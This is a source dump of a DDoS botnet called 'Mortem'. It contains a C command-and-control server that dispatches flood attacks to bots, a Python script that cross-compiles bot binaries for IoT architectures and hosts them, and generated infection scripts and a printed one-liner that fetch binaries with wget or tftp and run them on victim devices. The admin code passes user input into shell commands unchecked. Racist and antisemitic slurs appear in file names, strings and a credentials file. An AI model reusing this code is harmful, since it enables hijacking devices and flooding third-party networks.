sizeof(buf), datafd) < 1) goto end; 2066 | trim(buf); 2067 | strcpy(newexpiry, buf); 2068 | thing: 2069 | sprintf(cmd1, "%s %s %s %s %s %s", username1, password1, status1, maxtime1, cooldown1, newexpiry); 2070 | sprintf(send1, "echo '%s' >> users/login.txt", cmd1); 2071 | system(send1); 2072 | sprintf(usethis, "\e[38;5;190mAccount [%s] Added\r\n", username1); 2073 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 2074 | printf("[Mortem]:%s Added User: [%s] Plan: [%s]\n", managements[datafd].id, username1, status1); 2075 | 2076 | } 2077 | else if(strstr(buf, "2") || strstr(buf, "TWO") || strstr(buf, "Two") || strstr(buf, "two")) 2078 | { 2079 | char removeuser[80]; 2080 | char sys[800]; 2081 | sprintf(usethis, "Usename:"); 2082 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 2083 | memset(buf, 0, sizeof(buf)); 2084 | if(fdgets(buf, sizeof(buf), datafd) < 1) goto end; 2085 | trim(buf); 2086 | strcpy(removeuser, buf); 2087 | sprintf(sys,"sed '/\\<%s\\>/d' -i users/login.txt", removeuser); 2088 | system(sys); 2089 | sprintf(usethis, "\e[38;5;190mAccount [%s] Has Been Removed\r\n", removeuser); 2090 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 2091 | printf("[Mortem]:%s Removed User: [%s]\n", managements[datafd].id, removeuser); 2092 | } 2093 | else if(strstr(buf, "3") || strstr(buf, "THREE") || strstr(buf, "Three") || strstr(buf, "three")) 2094 | { 2095 | char banuser[80]; 2096 | sprintf(usethis, "Username:"); 2097 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 2098 | memset(buf, 0, sizeof(buf)); 2099 | if(fdgets(buf, sizeof(buf), datafd) < 1) goto end; 2100 | trim(buf); 2101 | strcpy(banuser, buf); 2102 | sprintf(send1, "echo '%s' >> logs/BANNEDUSERS.txt", banuser); 2103 | system(send1); 2104 | sprintf(usethis, "\e[38;5;190mAccount [%s] Has Been Banned\r\n", banuser); 2105 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 2106 | printf("[Mortem]:%s Banned User: [%s]\n", managements[datafd].id, banuser); 2107 | } 2108 | else if(strstr(buf, "4") || strstr(buf, "FOUR") || strstr(buf, "Four") || strstr(buf, "four")) 2109 | { 2110 | char sys[800]; 2111 | char unbanuser[80] ; 2112 | sprintf(usethis, "Username:"); 2113 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 2114 | memset(buf, 0, sizeof(buf)); 2115 | if(fdgets(buf, sizeof(buf), datafd) < 1) goto end; 2116 | trim(buf); 2117 | strcpy(unbanuser, buf); 2118 | sprintf(sys,"sed '/\\<%s\\>/d' -i logs/BANNEDUSERS.txt", unbanuser); 2119 | system(sys); 2120 | sprintf(usethis, "\e[38;5;190mAccount [%s] Has Been UnBanned\r\n", unbanuser); 2121 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 2122 | printf("[Mortem]:%s UnBanned User: [%s]\n", managements[datafd].id, unbanuser); 2123 | } 2124 | else if(strstr(buf, "5") || strstr(buf, "FIVE") || strstr(buf, "Five") || strstr(buf, "five")) 2125 | { 2126 | char ipbanuser[80]; 2127 | sprintf(usethis, "IP:"); 2128 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 2129 | memset(buf, 0, sizeof(buf)); 2130 | if(fdgets(buf, sizeof(buf), datafd) < 1) goto end; 2131 | trim(buf); 2132 | strcpy(ipbanuser, buf); 2133 | sprintf(send1, "echo '%s' >> logs/IPBANNED.txt",ipbanuser); 2134 | system(send1); 2135 | sprintf(usethis, "\e[38;5;190m[%s] Has Been IP Banned\r\n", buf); 2136 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 2137 | printf("[Mortem]:%s IP Banned: [%s]\r\n", managements[datafd].id, ipbanuser); 2138 | } 2139 | else if(strstr(buf, "6") || strstr(buf, "SIX") || strstr(buf, "Six") || strstr(buf, "six")) 2140 | { 2141 | char sys[800]; 2142 | sprintf(usethis, "IP:"); 2143 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 2144 | memset(buf, 0, sizeof(buf)); 2145 | if(fdgets(buf, sizeof(buf), datafd) < 1) goto end; 2146 | trim(buf); 2147 | sprintf(sys, "sed '/\\<%s\\>/d' -i logs/IPBANNED.txt", buf); 2148 | system(sys); 2149 | sprintf(usethis, "\e[38;5;190m[%s] Has Been UnIPBanned\r\n", buf); 2150 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 2151 | printf("[Mortem]:%s UnIPBanned: [%s]\n", managements[datafd].id, buf); 2152 | } 2153 | 2154 | else if(strcasestr(buf, "7") || strcasestr(buf, "seven")) 2155 | { 2156 | int fail; 2157 | char usertokick[800]; 2158 | sprintf(usethis, "Users Online\r\n"); 2159 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 2160 | int kickonline; 2161 | for(kickonline=0;kickonline < MAXFDS;kickonline++) 2162 | { 2163 | if(strlen(managements[kickonline].id) > 1 && managements[kickonline].connected == 1) 2164 | { 2165 | char kickonlineusers[800]; 2166 | sprintf(kickonlineusers, "| %s |\r\n", managements[kickonline].id); 2167 | if(send(datafd, kickonlineusers, strlen(kickonlineusers), MSG_NOSIGNAL) == -1) goto end; 2168 | } 2169 | } 2170 | sprintf(usethis, "Username:"); 2171 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 2172 | memset(buf, 0, sizeof(buf)); 2173 | if(fdgets(buf, sizeof(buf), datafd) < 1) goto end; 2174 | trim(buf); 2175 | strcpy(usertokick, buf); 2176 | 2177 | for(kickonline=0;kickonline> logs/Blacklist.txt",Blacklistip); 2215 | system(send1); 2216 | sprintf(usethis, "\e[38;5;190m[%s] Has Been Blacklisted\r\n", Blacklistip); 2217 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 2218 | printf("[Mortem]:%s Blacklisted IP: [%s]\r\n", managements[datafd].id, Blacklistip); 2219 | } 2220 | else if(strstr(buf, "cls")); 2221 | { 2222 | //nun 2223 | } 2224 | } else { 2225 | char noperms[800]; 2226 | sprintf(noperms, "\e[38;5;190mYou Do Not Have Admin Perms Bitch! - add user\r\n"); 2227 | if(send(datafd, noperms, strlen(noperms), MSG_NOSIGNAL) == -1) goto end; 2228 | } 2229 | } 2230 | 2231 | if(strcasestr(buf, "motd")) 2232 | { 2233 | if(managements[datafd].adminstatus == 1) 2234 | { 2235 | char sendbuf[50]; 2236 | memset(buf, 0, sizeof(buf)); 2237 | sprintf(sendbuf, "\e[38;5;54mMOTD: "); 2238 | send(datafd, sendbuf, strlen(sendbuf), MSG_NOSIGNAL); 2239 | fdgets(buf, sizeof(buf), datafd); 2240 | trim(buf); 2241 | if(strlen(buf) < 80) 2242 | { 2243 | motdaction = 1; 2244 | strcpy(motd, buf); 2245 | sprintf(usethis, "\e[38;5;190mMOTD Has Been Updated\r\n"); 2246 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 2247 | printf("[Mortem]:%s Set The Motd To: %s\n", motd); 2248 | } 2249 | } 2250 | else 2251 | { 2252 | char sendbuf[50]; 2253 | sprintf(sendbuf, "\e[38;5;190mYou Do Not Have Admin Perms Bitch! - MOTD\r\n"); 2254 | send(datafd, sendbuf, strlen(sendbuf), MSG_NOSIGNAL); 2255 | } 2256 | 2257 | } 2258 | 2259 | 2260 | else if(strcasestr(buf, "broadcast")) 2261 | { 2262 | if(managements[datafd].adminstatus == 1) 2263 | { 2264 | int brdcstthing; 2265 | int userssentto = 0; 2266 | int msgoff = 0; 2267 | sprintf(usethis, "MSG:"); 2268 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 2269 | memset(buf, 0, sizeof(buf)); 2270 | if(fdgets(buf, sizeof(buf), datafd) > 1) goto end; 2271 | trim(buf); 2272 | strcpy(broadcastmsg, buf); 2273 | memset(buf,0,sizeof(buf)); 2274 | if(strlen(broadcastmsg) < 80) 2275 | { 2276 | if(OperatorsConnected > 1) 2277 | { 2278 | for(brdcstthing=0;brdcstthing managements[datafd].mymaxtime) 2703 | { 2704 | char invalidargz1[800]; 2705 | sprintf(invalidargz1, "\e[38;5;190mBoot Time Exceeded Retard\r\n"); 2706 | if(send(datafd, invalidargz1, strlen(invalidargz1), MSG_NOSIGNAL) == -1) goto end; 2707 | } else { 2708 | 2709 | char *line3 = NULL; 2710 | size_t n3 = 0; 2711 | FILE *f3 = fopen("logs/Blacklist.txt", "r"); 2712 | while (getline(&line3, &n3, f3) != -1){ 2713 | if (strstr(line3, argv[2]) != NULL){ 2714 | sprintf(usethis, "\e[38;5;190mThe IP %s Is Blacklisted\r\n", argv[2]); 2715 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 2716 | sprintf(usethis, "\r\n\e[38;5;2m%s@\e[38;5;54mMortem~#\e[38;5;2m", managements[datafd].id); 2717 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 2718 | } 2719 | } 2720 | fclose(f3); 2721 | free(line3); 2722 | 2723 | 2724 | /* THIS IS A TEST */ 2725 | char testthing[800]; 2726 | enc(jhere); 2727 | sprintf(testthing, "Encrypted STRING!: %s\n", jhere); 2728 | /* THIS IS A TEST AND IT WORKS*/ 2729 | 2730 | 2731 | broadcast(buf, 0, "lol"); 2732 | printf("[Mortem]:\e[38;5;190m%s\e[1;31m: Sent A %s Attack To: %s For: %d Seconds\r\n", managements[datafd].id, argv[1], argv[2], atoi(argv[4])); 2733 | int sendattacklisten; 2734 | for(sendattacklisten=0;sendattacklisten ( \r\n"); 2748 | sprintf(attacksentrip[4], "\t\e[38;5;54m | \e[38;5;14m _ _ \e[38;5;54m | \r\n"); 2749 | sprintf(attacksentrip[5], "\t\e[38;5;54m | \e[38;5;14m|_) | |_)\e[38;5;54m | \r\n"); 2750 | sprintf(attacksentrip[6], "\t\e[38;5;54m | \e[38;5;14m| \\ | | \e[38;5;54m | \r\n"); 2751 | sprintf(attacksentrip[7], "\t\e[38;5;54m | | \r\n"); 2752 | sprintf(attacksentrip[8], "\t\e[38;5;54m ______.______%_| |__________ _____ \r\n"); 2753 | sprintf(attacksentrip[9], "\t\e[38;5;54m _/ \\| | \r\n"); 2754 | sprintf(attacksentrip[10],"\t\e[38;5;54m | \e[38;5;14mMortem On Top\e[38;5;54m < \r\n"); 2755 | sprintf(attacksentrip[11],"\t\e[38;5;54m |_____.-._________ ____/|___________| \r\n"); 2756 | sprintf(attacksentrip[12],"\t\e[38;5;54m | | \r\n"); 2757 | sprintf(attacksentrip[13],"\t\e[38;5;54m | | \r\n"); 2758 | sprintf(attacksentrip[14],"\t\e[38;5;54m | | \r\n"); 2759 | sprintf(attacksentrip[15],"\t\e[38;5;54m | | \r\n"); 2760 | sprintf(attacksentrip[16],"\t\e[38;5;54m | _ < \r\n"); 2761 | sprintf(attacksentrip[17],"\t\e[38;5;54m |__/ | \r\n"); 2762 | sprintf(attacksentrip[18],"\t\e[38;5;54m / `--. | \r\n"); 2763 | sprintf(attacksentrip[19],"\t\e[38;5;94m %\e[38;5;54m| |\e[38;5;94m% \r\n"); 2764 | sprintf(attacksentrip[20],"\t\e[38;5;94m .%^ \e[38;5;54m| -<\e[38;5;94m@^& \r\n"); 2765 | sprintf(attacksentrip[21],"\t\e[38;5;94m `&@`@\e[38;5;54m| |\e[38;5;94m@@%@%6 \r\n"); 2766 | sprintf(attacksentrip[22],"\t\e[38;5;94m ##&69@@@% 69 |\e[38;5;94m% @@@7%@% \r\n"); 2767 | sprintf(attacksentrip[23],"\t\e[38;5;94m _.%@%$%^%$@%$%@@@@@@%8_/%69_%@@8%@ \r\n"); 2768 | sprintf(attacksentrip[24],"\t\e[38;5;2mAttack %s Sent For %d Seconds To The IP: %s\r\n", argv[1], atoi(argv[4]), argv[2]); 2769 | for(rip=0;rip<30;rip++) 2770 | { 2771 | if(send(datafd, attacksentrip[rip], strlen(attacksentrip[rip]), MSG_NOSIGNAL) == -1) goto end; 2772 | } 2773 | if(send(datafd, testthing, strlen(testthing), MSG_NOSIGNAL) == -1) goto end; 2774 | pthread_t cooldownthread; 2775 | struct CoolDownArgs argz; 2776 | 2777 | pthread_t attackcooldownthread; 2778 | struct CoolDownArgs yer; 2779 | if(managements[datafd].mycooldown > 1) 2780 | { 2781 | argz.sock = datafd; 2782 | argz.seconds = managements[datafd].mycooldown; 2783 | yer.sock = datafd; 2784 | yer.seconds = atoi(argv[4]); 2785 | 2786 | pthread_create(&cooldownthread, NULL, &StartCldown, (void *)&argz); 2787 | pthread_create(&attackcooldownthread, NULL, &attacktime, (void*)&yer); 2788 | pthread_create(&title, NULL, &TitleWriter, sock); 2789 | } 2790 | 2791 | if(Sending[datafd].amountofatks >= 3) 2792 | { 2793 | sprintf(usethis, "\e[38;5;190mJust Because Your Cooldown Is: %d.\r\nDoesnt Mean You Have To Send An Attack Every time its done.\r\nYou Have %d Attacks Still Running. Chill out Fuck Head.\r\nBc Of That Were Not Sending The Attack!\r\n", managements[datafd].mycooldown, Sending[datafd].amountofatks); 2794 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 2795 | } 2796 | } 2797 | } else { 2798 | sprintf(usethis, "\e[38;5;190mYou Cant Send More Than 6 Attacks.\nYou Have 6 current attacks being sent.\nCalm tf down!\n"); 2799 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 2800 | } 2801 | } else { 2802 | sprintf(usethis, "\e[38;5;190mYour Cool Down Has Not Expired Time left: %d\r\n", managements[datafd].mycooldown - managements[datafd].cooldownsecs); 2803 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 2804 | } 2805 | } else { 2806 | sprintf(usethis, "\e[38;5;190mAttacks Are Currently Disabled\r\n"); 2807 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 2808 | } 2809 | memset(buf, 0, sizeof(buf)); 2810 | } 2811 | 2812 | /* TESTING API ATTACK FUNCTION*/ 2813 | if(strcasestr(buf, "Send")) // argv[0] = SEND || argv[1] = METHOD || argv[2] = IP || argv[3] = PORT || argv[4] = Time 2814 | { 2815 | if(AttackStatus == 0) 2816 | { 2817 | if(managements[datafd].cooldownstatus == 0) 2818 | { 2819 | if(Sending[datafd].amountofatks <= 4) 2820 | { 2821 | char rdbuf[1024]; 2822 | strcpy(rdbuf, buf); 2823 | int argc = 0; 2824 | unsigned char *argv[10 + 1] = { 0 }; 2825 | char *token = strtok(rdbuf, " "); 2826 | while(token != 0 && argc < 10) 2827 | { 2828 | argv[argc++] = malloc(strlen(token) + 1); 2829 | strcpy(argv[argc - 1], token); 2830 | token = strtok(0, " "); 2831 | } 2832 | 2833 | if(argc <= 4) 2834 | { 2835 | char invalidargz1[800]; 2836 | sprintf(invalidargz1, "\e[38;5;190mYou Typed It Wrong Dumbass\r\n"); 2837 | if(send(datafd, invalidargz1, strlen(invalidargz1), MSG_NOSIGNAL) == -1) goto end; 2838 | } 2839 | 2840 | else if(atoi(argv[4]) > managements[datafd].mymaxtime) 2841 | { 2842 | char invalidargz1[800]; 2843 | sprintf(invalidargz1, "\e[38;5;190mBoot Time Exceeded Retard\r\n"); 2844 | if(send(datafd, invalidargz1, strlen(invalidargz1), MSG_NOSIGNAL) == -1) goto end; 2845 | } else { 2846 | char *line4 = NULL; 2847 | size_t n4 = 0; 2848 | FILE *f4 = fopen("logs/Blacklist.txt", "r"); 2849 | while (getline(&line4, &n4, f4) != -1){ 2850 | if (strstr(line4, argv[2]) != NULL){ 2851 | sprintf(usethis, "\e[38;5;190mThe IP %s Is Blacklisted\r\n", argv[2]); 2852 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 2853 | sprintf(usethis, "\r\n\e[38;5;2m%s@\e[38;5;54mMortem~#\e[38;5;2m", managements[datafd].id); 2854 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 2855 | } 2856 | } 2857 | fclose(f4); 2858 | free(line4); 2859 | char method[800]; 2860 | char ip[800]; 2861 | char port[800]; 2862 | char time[800]; 2863 | strcpy(method, argv[1]); 2864 | strcpy(ip, argv[2]); 2865 | strcpy(port, argv[3]); 2866 | strcpy(time, argv[4]); 2867 | 2868 | sprintf(usethis, "Method: %s IP: %s Port: %s Time: %s", method, ip, port, time); 2869 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 2870 | } 2871 | } else { 2872 | sprintf(usethis, "\e[38;5;190mYou Cant Send More Than 6 Attacks.\nYou Have 6 current attacks being sent.\nCalm tf down!\n"); 2873 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 2874 | } 2875 | } else { 2876 | sprintf(usethis, "\e[38;5;190mYour Cool Down Has Not Expired Time left: %d\r\n", managements[datafd].mycooldown - managements[datafd].cooldownsecs); 2877 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 2878 | } 2879 | } else { 2880 | sprintf(usethis, "\e[38;5;190mAttacks Are Currently Disabled\r\n"); 2881 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 2882 | } 2883 | memset(buf, 0, sizeof(buf)); 2884 | } 2885 | /* TESTING API ATTACK FUNCTION*/ 2886 | 2887 | else if(strcasestr(buf, "Logout")) 2888 | { 2889 | char logout[800]; 2890 | sprintf(logout, "Loggin Out...\r\n"); 2891 | if(send(datafd, logout, strlen(logout), MSG_NOSIGNAL) == -1) goto end; 2892 | sleep(2); 2893 | managements[datafd].connected = 0; 2894 | memset(managements[datafd].id, 0,sizeof(managements[datafd].id)); 2895 | close(datafd); 2896 | } 2897 | 2898 | 2899 | if(strcasestr(buf, "nigger") || strcasestr(buf, "nig") || strcasestr(buf, "n1g") || strcasestr(buf, "nlg")) 2900 | { 2901 | sprintf(usethis, "This Word Is Not Allowed Here!\r\n"); 2902 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 2903 | } 2904 | 2905 | else if(strcasestr(buf, "CLEAR") || strcasestr(buf, "cls")) { 2906 | { 2907 | send(datafd, "\033[1A\033[2J\033[1;1H", strlen("\033[1A\033[2J\033[1;1H"), MSG_NOSIGNAL); 2908 | if(strlen(motd) > 2) 2909 | { 2910 | sprintf(banner0, "\e[38;5;54mMOTD:\e[38;5;2m %s\r\n", motd); 2911 | if(send(datafd, banner0, strlen(banner0), MSG_NOSIGNAL) == -1) goto end; 2912 | } 2913 | if(send(datafd, banner1, strlen(banner1), MSG_NOSIGNAL) == -1) goto end; 2914 | if(send(datafd, banner2, strlen(banner2), MSG_NOSIGNAL) == -1) goto end; 2915 | if(send(datafd, banner3, strlen(banner3), MSG_NOSIGNAL) == -1) goto end; 2916 | if(send(datafd, banner4, strlen(banner4), MSG_NOSIGNAL) == -1) goto end; 2917 | if(send(datafd, banner5, strlen(banner5), MSG_NOSIGNAL) == -1) goto end; 2918 | if(send(datafd, banner6, strlen(banner6), MSG_NOSIGNAL) == -1) goto end; 2919 | if(send(datafd, banner7, strlen(banner7), MSG_NOSIGNAL) == -1) goto end; 2920 | if(send(datafd, banner8, strlen(banner8), MSG_NOSIGNAL) == -1) goto end; 2921 | if(send(datafd, banner9, strlen(banner9), MSG_NOSIGNAL) == -1) goto end; 2922 | if(send(datafd, banner10, strlen(banner10), MSG_NOSIGNAL) == -1) goto end; 2923 | if(send(datafd, banner11, strlen(banner11), MSG_NOSIGNAL) == -1) goto end; 2924 | if(send(datafd, banner12, strlen(banner12), MSG_NOSIGNAL) == -1) goto end; 2925 | } 2926 | } 2927 | 2928 | pthread_create(&title, NULL, &TitleWriter, sock); 2929 | 2930 | 2931 | if(strlen(buf) > 120) 2932 | { 2933 | sprintf(usethis, "Stop Trying To Crash The CNC Fuck Head"); 2934 | printf("%s Has Tried To Crash The CNC\n", managements[datafd].id); 2935 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 2936 | sleep(5); 2937 | memset(buf, 0, sizeof(buf)); 2938 | managements[datafd].connected = 0; 2939 | memset(managements[datafd].id, 0,sizeof(managements[datafd].id)); 2940 | close(datafd); 2941 | 2942 | } 2943 | char input[800]; 2944 | sprintf(input, "\r\n\e[38;5;2m%s@\e[38;5;54mMortem~#\e[38;5;2m", managements[datafd].id); 2945 | if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end; 2946 | 2947 | } 2948 | 2949 | 2950 | 2951 | 2952 | end: 2953 | for(logoutshit=0;logoutshit mips 38 | 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2', #downloading -> mpsl 39 | 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2', #downloading -> x86 40 | 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2', #downloading -> ppc 41 | 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2', #downloading -> sparc 42 | 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2', #downloading -> arm4 43 | 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2', #downloading -> arm5 44 | 'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2', #downloading -> arm6 45 | 'https://landley.net/aboriginal/downloads/old/binaries/1.2.6/cross-compiler-armv7l.tar.bz2']#downloading -> arm7 46 | 47 | ccs = ["cross-compiler-mips", 48 | "cross-compiler-mipsel", 49 | "cross-compiler-x86_64", 50 | "cross-compiler-powerpc", 51 | "cross-compiler-sparc", 52 | "cross-compiler-armv4l", 53 | "cross-compiler-armv5l", 54 | "cross-compiler-armv6l", 55 | "cross-compiler-armv7l"] 56 | 57 | try: 58 | fdsize = open("/usr/include/bits/typesizes.h","r").readlines() 59 | fdsizew = open("/usr/include/bits/typesizes.h","w").write("") 60 | for line in fdsize: 61 | line = line.replace("1024","1000000") 62 | fdsizew = open("/usr/include/bits/typesizes.h","a").write(line) 63 | time.sleep(2) 64 | except: 65 | pass 66 | 67 | old1 = "*commServer[] " 68 | new1 = "unsigned char *commServer[] = {\""+ ip +":4258\"};\n" 69 | x = fileinput.input(files="/root/bot.c", inplace=1) 70 | for line in x: 71 | if old1 in line: 72 | line = new1; 73 | print line, 74 | x.close() 75 | 76 | run("rm -rf /var/www/html/* /var/lib/tftpboot/* /var/ftp/*") 77 | 78 | if get_arch == True: 79 | run("rm -rf cross-compiler-*") 80 | 81 | print("Downloading Architectures") 82 | 83 | for arch in getarch: 84 | run("wget " + arch + " --no-check-certificate >> /dev/null") 85 | run("tar -xvf *tar.bz2") 86 | run("rm -rf *tar.bz2") 87 | 88 | print("Cross Compilers Downloaded...") 89 | 90 | num = 0 91 | for cc in ccs: 92 | arch = cc.split("-")[2] 93 | run("./"+cc+"/bin/"+arch+"-gcc -static -pthread -D" + arch.upper() + " -o " + compileas[num] + " " + bot + " > /dev/null") 94 | num += 1 95 | 96 | print("Cross Compiling Done!") 97 | print("Setting up your httpd and tftp") 98 | 99 | run("yum install httpd -y") 100 | run("sudo service httpd restart") 101 | run("yum install xinetd tftp tftp-server -y") 102 | run("yum install vsftpd -y") 103 | run("service vsftpd start") 104 | 105 | run('''echo -e "# default: off 106 | # description: The tftp server serves files using the trivial file transfer \ 107 | # protocol. The tftp protocol is often used to boot diskless \ 108 | # workstations, download configuration files to network-aware printers, \ 109 | # and to start the installation process for some operating systems. 110 | service tftp 111 | { 112 | socket_type = dgram 113 | protocol = udp 114 | wait = yes 115 | user = root 116 | server = /usr/sbin/in.tftpd 117 | server_args = -s -c /var/lib/tftpboot 118 | disable = no 119 | per_source = 11 120 | cps = 100 2 121 | flags = IPv4 122 | } 123 | " > /etc/xinetd.d/tftp''') 124 | run("service xinetd start") 125 | 126 | run('''echo -e "listen=YES 127 | local_enable=NO 128 | skid_enable=YES 129 | write_enable=NO 130 | anon_root=/var/ftp 131 | anon_max_rate=2048000 132 | xferlog_enable=YES 133 | listen_address='''+ ip +''' 134 | listen_port=21" > /etc/vsftpd/vsftpd-anon.conf''') 135 | run("service vsftpd restart") 136 | 137 | for i in compileas: 138 | run("cp " + i + " /var/www/html") 139 | run("cp " + i + " /var/ftp") 140 | run("mv " + i + " /var/lib/tftpboot") 141 | 142 | run('echo -e "#!/bin/bash" > /var/lib/tftpboot/tftp1.sh') 143 | 144 | run('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/tftp1.sh') 145 | 146 | run('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tftp1.sh') 147 | 148 | run('echo -e "#!/bin/bash" > /var/lib/tftpboot/tftp2.sh') 149 | 150 | run('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/tftp2.sh') 151 | 152 | run('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tftp2.sh') 153 | 154 | run('echo -e "#!/bin/bash" > /var/www/html/fuckjewishpeople.sh') 155 | 156 | for i in compileas: 157 | run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 ' + i + ';wget http://' + ip + '/' + i + '; chmod +x ' + i + '; ./' + i + '; rm -rf ' + i + '" >> /var/www/html/fuckjewishpeople.sh') 158 | run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 ' + i + ';tftp ' + ip + ' -c get ' + i + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp1.sh') 159 | run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 ' + i + ';tftp -r ' + i + ' -g ' + ip + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp2.sh') 160 | run("service xinetd restart") 161 | run("service httpd restart") 162 | run("ulimit -n 999999; ulimit -u 999999; ulimit -e 999999") 163 | run('echo -e "ulimit -n 99999" >> ~/.bashrc') 164 | run('rm -rf cross-compiler-armv4l cross-compiler-armv5l cross-compiler-armv6l cross-compiler-armv7l cross-compiler-i586 cross-compiler-i686 cross-compiler-m68k cross-compiler-mips cross-compiler-mipsel cross-compiler-powerpc cross-compiler-powerpc-440fp cross-compiler-sh4 cross-compiler-sparc cross-compiler-x86_64') 165 | print("\x1b check directory /var/www/html to make sure binarys created") 166 | print("skid payload# cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://" + ip + "/fuckjewishpeople.sh; chmod 777 fuckjewishpeople.sh; sh fuckjewishpeople.sh; tftp " + ip + " -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g " + ip + "; chmod 777 tftp2.sh; sh tftp2.sh; rm -rf *\x1b[0m") -------------------------------------------------------------------------------- /logs/AcceptedTos.txt: -------------------------------------------------------------------------------- 1 | USBBIOS -------------------------------------------------------------------------------- /logs/BANNEDUSERS.txt: -------------------------------------------------------------------------------- 1 | USBBIOS -------------------------------------------------------------------------------- /logs/Blacklist.txt: -------------------------------------------------------------------------------- 1 | 1.1.1.1 2 | -------------------------------------------------------------------------------- /logs/IPBANNED.txt: -------------------------------------------------------------------------------- 1 | USBBIOS -------------------------------------------------------------------------------- /logs/LoggedUsers.txt: -------------------------------------------------------------------------------- 1 | USBBIOS -------------------------------------------------------------------------------- /users/login.txt: -------------------------------------------------------------------------------- 1 | mav wav user 600 60 99/99/99 2 | komodo nigger admin 9999 5 99/99/99 --------------------------------------------------------------------------------